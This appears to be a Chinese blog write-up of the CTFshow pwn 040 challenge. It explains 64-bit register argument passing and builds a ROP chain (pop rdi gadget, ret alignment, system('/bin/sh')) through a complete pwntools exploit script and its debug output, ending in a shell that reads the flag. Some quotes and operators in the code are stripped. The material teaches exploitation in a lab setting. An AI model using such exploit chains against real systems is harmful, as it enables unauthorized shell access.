【CTFshow-pwn系列】02_栈溢出【pwn 040】详解:64位 ROP 与参数传递

📅 发布时间:2026/7/6 12:32:05 👁️ 浏览次数:
【CTFshow-pwn系列】02_栈溢出【pwn 040】详解:64位 ROP 与参数传递
本文仅用于技术研究禁止用于非法用途。Author:枷锁在 PWN 039 中我们学习了 32 位程序如何通过栈构造参数来调用system(/bin/sh)。 来到PWN 040题目提示依然是熟悉的“Just easy ret2text64bit”但情况有所不同。虽然题目仍然提供了system函数和/bin/sh字符串但由于架构变成了64位参数不再直接放在栈上而是优先存放在寄存器中。这意味着我们不能简单地把参数写在栈里而是需要寻找特殊的指令片段Gadgets来把栈上的数据“弹”进寄存器。pwn 040 寄存器传参POP RDI 的艺术题目信息与环境侦察题目描述pwn40: It has system and /bin/sh, but they dont work together Just easy ret2text64bit先运行查看提示解题过程首先使用checksec检查程序保护情况。Arch:amd64-64-little(64位程序)RELRO:Partial RELROStack:No canary found(无栈哨兵)NX:NX enabled(栈不可执行)PIE:No PIE(地址固定)侦察分析64位架构函数参数传递遵循System V AMD64 ABI约定。No PIEGadgets 和函数地址固定。第一部分机制详解 —— 64位参数传递与 Gadgets1. 64位调用约定 (Calling Convention)在 64 位 Linux 下函数调用的前 6 个参数依次存放于以下寄存器中RDI(参数 1) -system 函数只需要这一个RSI(参数 2)RDX(参数 3)RCX(参数 4)R8(参数 5)R9(参数 6)多余的参数才会放在栈上。2. 我们的目标我们要调用system(/bin/sh)。 根据约定字符串/bin/sh的地址必须存放在RDI寄存器中。3. 如何控制 RDI我们能控制的只有栈通过栈溢出。我们需要找到一段代码Gadget它的功能是从栈顶弹出一个值存入 RDI然后返回。这条指令就是pop rdi ; ret这就是本题解题的“金钥匙”。第二部分代码审计与漏洞挖掘1. 静态分析 (IDA Pro)Main 函数int __fastcall main(int argc, const char **argv, const char **envp) { // ... Logo ... puts(Just easy ret2text64bit); ctfshow(); puts(\nExit); return 0; }漏洞函数 ctfshowssize_t ctfshow() { _BYTE buf[10]; // [rsp6h] [rbp-Ah] BYREF // [漏洞点]read 读取 50 字节 // buf 大小仅 10 字节存在溢出 return read(0, buf, 0x32u); }偏移量计算 根据 IDA 注释[rbp-Ah]buf距离rbp的偏移是0xA(10 字节)。64位下Old RBP占 8 字节。覆盖返回地址所需长度 10(buf) 8(Old RBP) 18 字节。2. 寻找拼图零件题目依然提供了hint函数int hint() { puts(/bin/sh); return system(echo You find me?); }这为我们提供了system的 PLT 地址和/bin/sh的地址。第三部分实战操作与 Payload 构造1. 寻找 Gadgets我们需要找到pop rdi; ret。 使用ROPgadget或pwntoolsROPgadget --binary pwn --only pop|ret | grep rdi # 输出示例0x0000000000400833 : pop rdi ; ret同时为了防止 64 位system调用的栈对齐问题 (Stack Alignment)即 movaps 崩溃我们在调用system前最好加一个ret指令作为填充。2. Payload 结构解析我们需要构造一条ROP 链 (ROP Chain)逻辑如下Padding填充 18 字节到达返回地址。Gadget 1 (pop rdi)覆盖返回地址。程序返回时跳到这里执行pop rdi。参数 (/bin/sh)紧跟在pop rdi之后。pop rdi会把这个地址从栈上弹出来放进 RDI 寄存器。Gadget 2 (ret)用于栈对齐可选但推荐。System 地址RDI 准备好后跳转到system执行。内存视角---------------------- | a * 18 (Padding) | ---------------------- | pop_rdi 的地址 | -- 原始返回地址被覆盖为这里 ---------------------- | /bin/sh 的地址 | -- pop rdi 执行时栈顶是这个于是 RDI /bin/sh ---------------------- | ret 的地址 | -- pop rdi 里的 ret 执行时跳到这里 (空转对齐栈) ---------------------- | system 的地址 | -- ret 执行时跳到这里RDI 依然保持 /bin/sh ----------------------3. 完整 EXP 脚本from pwn import * # 1. 基础配置 context.log_level debug context.arch amd64 # 2. 建立连接 io process(./pwn) # io remote(pwn.challenge.ctf.show, 28191) # 端口根据实际情况修改 # 3. 加载 ELF 文件 elf ELF(./pwn) # 4. 搜集拼图零件 # [零件1] system 函数地址 system_addr elf.plt[system] log.success(fSystem Address: {hex(system_addr)}) # [零件2] /bin/sh 字符串地址 bin_sh_addr next(elf.search(b/bin/sh)) log.success(f/bin/sh Address: {hex(bin_sh_addr)}) # [零件3] Gadgets # 使用 ROP 对象自动查找 rop ROP(elf) pop_rdi rop.find_gadget([pop rdi, ret])[0] ret rop.find_gadget([ret])[0] log.success(fpop rdi; ret: {hex(pop_rdi)}) log.success(fret: {hex(ret)}) # 5. 构造 Payload # 偏移量 10 (buf) 8 (rbp) 18 offset 18 # 构造 ROP 链 payload flat([ ba * offset, # 1. 填充溢出 pop_rdi, # 2. 跳转到 pop rdi; ret bin_sh_addr, # 3. pop rdi 的参数/bin/sh 放入 RDI ret, # 4. 栈对齐 (防止 movaps 崩溃) system_addr # 5. 调用 system ]) # 6. 发送 Payload io.sendline(payload) # 7. 获取 Shell io.interactive()运行结果[DEBUG] Sent 0x2a bytes: 00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│ 00000010 61 61 83 07 40 00 00 00 00 00 87 07 40 00 00 00 │aa··│···│····│···│ 00000020 00 00 09 05 40 00 00 00 00 00 50 05 40 00 00 00 │····│···│··P·│···│ 00000030 00 00 │··│ [*] Switching to interactive mode $ cat /ctfshow_flag ctfshow{...}总结PWN 040 的核心逻辑维度32位 (pwn 039)64位 (pwn 040)传参方式栈传参寄存器传参 (RDI, RSI…)Payload 结构Padding Func Ret ArgPadding Gadget Arg Func核心指令无需特殊指令pop rdi; ret栈对齐通常不需要需要 (ret gadget)核心启示 这是大家遇到的第一个真正的64位 ROP。找 Gadget这是 64 位 PWN 的基本功。pop rdi是最常用的 Gadget 之一。理解栈与寄存器的转换我们通过控制栈上的数据利用pop指令将其“搬运”到寄存器中从而满足函数的调用约定。宇宙级免责声明 重要声明本文仅供合法授权下的安全研究与教育目的 1.合法授权本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法可能导致法律后果包括但不限于刑事指控、民事诉讼及巨额赔偿。 2.道德约束黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范仅用于提升系统安全性而非恶意入侵、数据窃取或服务干扰。 3.风险自担使用本文所述工具和技术时你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。 4.合规性确保你的测试符合当地及国际法律法规如《计算机欺诈与滥用法案》CFAA、《通用数据保护条例》GDPR等。必要时咨询法律顾问。 5.最小影响原则测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。 6.数据保护不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息应立即报告相关方并删除。 7.免责范围作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。 安全研究的正确姿势✅ 先授权再测试✅ 只针对自己拥有或有权测试的系统✅ 发现漏洞后及时报告并协助修复✅ 尊重隐私不越界⚠️ 警告技术无善恶人心有黑白。请明智选择你的道路。